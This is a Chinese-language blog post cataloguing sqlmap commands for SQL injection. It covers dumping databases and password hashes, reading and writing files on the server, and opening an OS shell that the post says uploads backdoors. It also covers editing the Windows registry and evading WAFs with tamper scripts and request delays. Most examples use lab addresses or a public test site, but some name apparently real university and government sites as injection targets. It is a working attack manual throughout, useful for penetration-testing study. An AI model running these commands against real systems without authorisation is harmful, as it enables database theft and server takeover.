sqlmap命令集合

0x00 前言

0x01 基本命令

sqlmap.py –update 更新sqlmap
sqlmap.py -h 查看帮助
sqlmap.py -u “http://192.168.0.158:8006/showproducts.php?id=13" 这里的-u参数就是注入点

sqlmap.py -u “http://192.168.0.240:8006/showproducts.php?id=13" –is-dba 当前用户权限 返回True的话为管理员
–dbs 列出所有数据库
–current-db 网站当前数据库
–users 查看数据库链接用户 %号分隔的话,是个公网ip 就可以随意访问
–current-user 当前数据库用户
–passwords 列出用户密码
–tables -D xycms 查表 -D 相当于 -database 相当于数据库
–tables -D xycms –count 多加的参数相当于统计一下,表里面的行数
–columns -T manage_user -D xycms 列字段,-T 表名 -D 数据库名
–dump -C m_name,m_pwd -T manage_user -D xycms 下载数据 -C 列名 逗号分隔
–dump-all 转存DBMS数据库所有表项目
–level 测试等级(1-5),默认为1

基本的步骤:读取数据库—>读取表—->读取表的列—->获取内容

-D 指定数据库
-T 指定表
-C 指定列
–dbms=mysql 指定数据库为mysql,也可以是 oracle mssql

以下四个需要管理员权限:
–users 枚举所有用户
–passwords 枚举所有用户密码
–roles 列出数据库管理员角色
–privileges 列出数据库管理员权限

列举数据库系统的架构:
sqlmap.py -u “http://192.168.0.240:8006/showproducts.php?id=13" –schema –batch –exclude-sysdbs

–schema 是列系统架构

–batch 默认选项执行,不需要再提示选项
–exclude-sysdbs 排除系统数据库

0x02 参数:–level

级别越高,检测的东西越多,确保全面性用高级别,一般用3,这个是从0开始,0-4,5个级别)

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,

你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,

GET和POST的数据都会测试,
HTTP Cookie在level为2的时候就会测试,
HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

0x03 显示调试信息

-v 显示调试信息 有7个级别
0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

sqlmap.py -u "http://192.168.0.240:8006/showproducts.php?id=13" --columns -D xss -v 4
    可以看见发送的请求头,来执行枚举列名

0x04 风险等级

参数:–risk(一般和–level一起使用)

共有四个风险等级,默认是1

1会测试大部分的测试语句,
2会增加基于事件的测试语句,
3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

sqlmap.py -u "http://192.168.0.240:8006/showproducts.php?id=13" --level 3 --risk 3
        这样测试的语句可以更全面一些

0x05 取目标

获取指定目标
参数:-u 或者–url
格式:http(s)://targeturl[:port]/[…]
例如:sqlmap.py -u “http://192.168.0.240:8006/showproducts.php?id=13"

0x06 从文本中获取多个目标

参数:-m

文件中保存url格式如下,sqlmap会一个一个检测
www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

比如把以上3个保存到c:\aa.txt
sqlmap.py -m c:/aa.txt
就会对多个目标进行检测,或者
sqlmap.py -m c:/aa.txt --batch
来默认检测,这样就不要自己选Y了,就执行默认选项了

0x07 获取http请求注入(用请求包注入)

参数:-r

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
把bp抓来的请求包,保存到c:\bb.txt
sqlmap.py -r c:\bb.txt
对bp请求包,来进行注入
一般对
    post
    搜索注入
    http头注入
    登录后的注入点cookie
来进行注入

0x08 处理Google搜索结果(需要挂代理)

参数:-g
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
相当于谷歌边搜索边注入的
sqlmap.py -g “inurl:php?id=”

0x09 各种参数

1.参数:–date(post请求参数)
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
sqlmap.py -u “http://192.168.0.240:8007/login.php" –data=”username=123&password=123”

2.参数:--param--del(指定分隔字符)
    参数拆分字符

    当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
    sqlmap.py -u "http://192.168.0.240:8007/login.php" --data="username=123;password=123" --param--del=";"
    这里面一般网页都是用&来分隔,如果遇到;来分隔的话,这里就可以指定用;来进行多个参数查询

3.参数:--cookie
    适用于cookie注入
    注意:一般有通用型方注入代码,弹框的时候才会用cookie注入,前提是网站接受你的cookie注入的
    还有一种情况就是登陆后的页面来进行注入

4.参数:--referer
    sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。


5.参数:–headers
可以通过–headers参数来增加额外的http头

    --hearders “client-ip:1.1.1.1'” --level 3

6.参数:--proxy

使用
–proxy代理是格式为:http://url:port。
–hearders “client-ip:1.1.1.1’” –level 3 –proxy “http://127.0.0.1:8080"


7.参数:–delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
sqlmap.py -u “http://192.168.0.240:8007/login.php" –delay=0.5
每0.5秒,发送一个请求,把请求速度降下来,有可能会过掉waf

    c:\python27\sqlmap\lib\core\option.py
    大概1425行
    **没有,问一下

8.参数:--timeout
    可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

9.参数:--retries
    当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

10.参数:--safe-url,--safe-freq
    有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
    绕过这个策略有两种方式:
    1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。

    2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。


11.参数:-p 
    sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,
    当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p


    参数设置想要测试的参数。例如: -p "id,user-anget"


告诉sqlmap,注入点在 id,user-anget 上

12.参数:--prefix,--suffix (相当于告诉sqlmap如何闭合)(prefix是前面, suffix是后面)(一般sqlmap会自动闭合)
    有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

    例如,代码中是这样调用数据库的:
    $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 

    这时你就需要--prefix和--suffix参数了:
    sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" 
    -p id --prefix "’)" --suffix "AND (’abc’=’abc"

    这样执行的SQL语句变成:
    $query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1"; 



13.参数:--technique
    这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式
    支持的探测方式如下:
    B: Boolean-based blind SQL injection(布尔型注入)

    E: Error-based SQL injection(报错型注入)

    U: UNION query SQL injection(可联合查询注入)

    S: Stacked queries SQL injection(可多语句查询注入)

T: Time-based blind SQL injection(基于时间延迟注入)

    sqlamp.py -u "http://192.168.0.240:8006/showproducts.php?id=13" --tech=UE --flush-session --batch
        --flush-session    是清除缓存,并且只搜索 联合查询注入 和 显错注入



14.参数:--union-cols(指定联合查询有多少列,默认1-10个列,可能新版本已经加到了100个列)
    默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。
    设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。
    例子:
    --union-cols 100

15.参数:--union-char(指定联合查询是用什么填充的)
    默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,
    而一个随机整数是成功的,这是你可以用--union-char指定UNION查询的字符。
    例子:

    --union-char "null"



16.参数:--second-order(二阶注入,返回结果可能不在一个页面上)
    有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,
    这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址.
    例子:
    sqlmap.py -u "http://127.0.0.1/aa.php" --second-order "http://127.0.0.1/bb.php"



17.参数:--dump-all,--exclude-sysdbs(--dump-all用来转存所有数据库,--exclude-sysdbs排除系统自带的表)

    使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,
    需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,
    因为有的管理员会把他当初用户数据库一样来使用它。



18.参数:--search,-C,-T,-D(用来寻找特定的表,数据库,列)

    --search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
    可以在一下三种情况下使用:
    -C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
    -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名

    -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
    例子:
    sqlmap.py -u "http://127.0.0.1/aa.php?id=1" --search -C "name,pwd" -D xycms
            在xycms里面搜索name,pwd列
            选项1是模糊匹配 2是精准匹配


19.参数:--udf-inject,--shared-lib(显错注入,root权限可能会上传udf,相当于--os-shell的第二种方案)

    你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,
    或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,
    然后

根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

20.参数:-s,-t,--batch

    参数:-s

    sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,
    就可以用这个参数。

保存HTTP(S)日志

    -s c:\ab.txt

    参数:-t
    这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。
    -t c:\abc.txt

    参数:--batch(主要就是默认执行,一路默认选择走下去)
    用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。





21.参数:--charset(设置一下编码)(默认是utf-8)
    不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:
    --charset=GBK



22.参数:--flush-session(清除缓存)
    如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,
    重新测试该目标。

自动获取form表单测试

23.参数:--hex(丢一些数据编码的时候可能会加这个)

    有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
    例子:
    sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors


24.参数:--output-dir(指定一下保存的路径)
    参数:--output-dir
    sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 
    例如:--output-dir=/tmp

从响应中获取DBMS的错误信息

    参数:--parse-errors(主要就是用来显示错误信息)
    有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。


25.参数:--smart,--mobile
    参数:--smart(-m 的时候可能会加这个,加这个可以节省时间)
    有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,
    可以使用此参数。

例子:
sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" –batch –smart

26.参数:--mobile(模拟手机请求)

    有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

例如:
sqlmap.py -u “http://www.target.com/vuln.php?id=1" –mobile

27.参数:--identify-waf(用来识别和检测waf)
    sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

28.参数:--check-waf(检测你的waf类型,手工检测 加 and 1=1,可能就会出来)
    WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,
    可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如对一个受到ModSecurity WAF保护的MySQL
例子:
sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" –identify-waf -v 3

0x10 注册表操作(不建议改,容易改崩)

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。
当然,当前连接数据库的用户也需要有权限操作注册表。
读取注册表值

1.参数:--reg-read        写入注册表值
2.参数:--reg-add        

删除注册表值
3.参数:–reg-del 注册表辅助选项
4.参数:–reg-key,–reg-value,–reg-data,–reg-type
需要配合之前三个参数使用,例子:
sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 –reg-add –reg-key=”HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” –reg-value=Test –reg-
type=REG_SZ –reg-data=1

0x11 暴力破解表名

(union,error不会用到,时间盲注,延迟注入,access数据库,mysql5.0以下的需要直接跑的会用到)
参数:–common-tables
当使用–tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:

1、MySQL数据库版本小于5.0,没有information_schema表。

2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。

3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,
你可以自己添加。

Xx –common-tables -D testdb

暴力破解列名
参数:–common-columns

   与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

   Xx  --common-columns  -T text -D testdb



   POST登录框注入(建议跑包最为推荐)
   注入点:http://testasp.vulnweb.com/Login.asp

   几种注入方式:
   ./sqlmap.py -r search-test.txt -p tfUPass 

(-p指定注入参数,-r指定抓的请求包)
   sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
(自动加载表单)
   sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"    (指定参数来进行探测)


   搜索框注入(一般就是bp抓个包跑包)
   sqlmap.py -r search-test.txt


   伪静态注入(一般加个*,指定一下来跑就行了)
   注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html

   sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.htm

   base64编码注入
   sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs

http://lm.yichang.gov.cn/

请求时间延迟
参数:--time-sec

当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒
例如:
--time-sec=5

执行sql语句(只能查询select 语句)
--sql-query="select @@version"

--sql-shell


sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,
需要测试是否支持多语句执行SQL语句。

0x12 文件读写

(从数据库服务器中读取文件)

参数:–file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
读取的文件可以是文本也可以是二进制文件。
sqlmap.py -u "http://192.168.2.3:81/about/show.php

?lang=cn&id=22” –file-read=”C:\Inetpub\wwwroot\mysql-php\1.php”

文件上传
参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
上传的文件可以是文本也可以是二进制文件。
sqlmap.py -u "http://192.168.2.129/article.php?id=5" --file-write="C:\1.php" --file-dest="/var/www/html/x.php"

0x13 命令执行

(记准–os-shell,用的多一些)

参数:–os-cmd,–os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。

在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
cmd 执行cmd命令(win)
shell 执行当前用户命令
–os-shell 会传两个后门,一个任意文件上传,一个脚本后门

自动上传 脚本文件

返回shell

0x14 WAF绕过注入

注入点:http://192.168.159.1/news.php?id=1
例如:

sqlmap -u "http://192.168.159.1/news.php?id=1" -v 3 --dbs  --batch --tamper "space2morehash.py"
大概以下三种

space2hash.py
base64encode.py
charencode.py

sqlmap -u "http://192.168.159.1/news.php?id=1" -v 3 --dbs  --batch --tamper=space2hash.py,base64encode.py,charencode.py
使用多个插件,逗号分隔

文章作者: madcoding
文章链接: https://www.mad-coding.cn/2020/02/08/sqlmap命令集合/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 madcoding’s blog
打赏
  • 微信
  • 支付宝

评论